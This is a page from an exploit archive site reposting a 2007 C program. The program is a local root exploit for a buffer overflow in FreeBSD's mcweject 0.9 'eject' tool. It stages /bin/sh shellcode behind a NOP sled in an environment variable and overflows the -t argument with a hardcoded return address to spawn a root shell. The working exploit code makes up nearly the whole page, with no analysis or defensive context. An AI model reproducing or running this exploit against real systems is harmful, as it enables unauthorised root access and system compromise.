首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
FreeBSD mcweject 0.9 (eject) Local Root Buffer Overflow Exploit
来源:www.vfocus.net 作者:kokanin 发布时间:2007-03-27  
// ejecsploit.c - local root exploit for bsd's eject.c
// harry
// vuln found by kokanin (you 31337!!! ;))
// thanks to sacrine and all the other netric guys!!! you rule :)

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

#define LEN 1264
#define NOP 0x90

extern char** environ;

int main(){

  char buf[LEN];
  char* ptr;
  char* arg[4];
  unsigned int ret, i;
  char shellcode[]="\xeb\x17\x5b\x31\xc0\x88\x43\x07\x89\x5b\x08\x89"
                   "\x43\x0c\x50\x8d\x53\x08\x52\x53\xb0\x3b\x50\xcd"
                   "\x80\xe8\xe4\xff\xff\xff/bin/sh";
  // hardcoded... too boneidle to fix this
  ret = 0xbfbfee16;
  char envshell[4096];
  ptr = envshell;
  for (i = 0; i < 4096 - strlen(shellcode) - 1; i++) *(ptr++) = NOP;
  for (i = 0; i < strlen(shellcode); i++) *(ptr++) = shellcode[i];
  *(ptr) = 0x0;
  memcpy (envshell, "BLEH=",5);
  putenv(envshell);

  memset (buf, 0x41, sizeof(buf));
  buf[LEN-5] = (char) ( 0x000000ff & ret);
  buf[LEN-4] = (char) ((0x0000ff00 & ret) >> 8);
  buf[LEN-3] = (char) ((0x00ff0000 & ret) >> 16);
  buf[LEN-2] = (char) ((0xff000000 & ret) >> 24);
  buf[LEN-1] = 0x0;

  arg[0] = "./eject";
  arg[1] = "-t";
  arg[2] = buf;
  arg[3] = NULL;

  execve (arg[0], arg, environ);

  return 0;
}

 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·MS Internet Explorer Recordset
·Easy File Sharing FTP Server 2
·PHP 5.2.1 with PECL phpDOC Loc
·IceBB 1.0-rc5 Remote Create Ad
·Frontbase <= 4.2.7 Remote Buff
·IceBB 1.0-rc5 Remote Code Exec
·PBlang 4.66z Remote Code Execu
·PHP-Nuke Module Addressbook 1.
·PHP < 4.4.5 / 5.2.1 _SESSION D
·PHP < 4.4.5 / 5.2.1 _SESSION u
·WarFTP 1.65 (USER) Remote Buff
·sBLOG 0.7.3 Beta (inc/lang.php
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved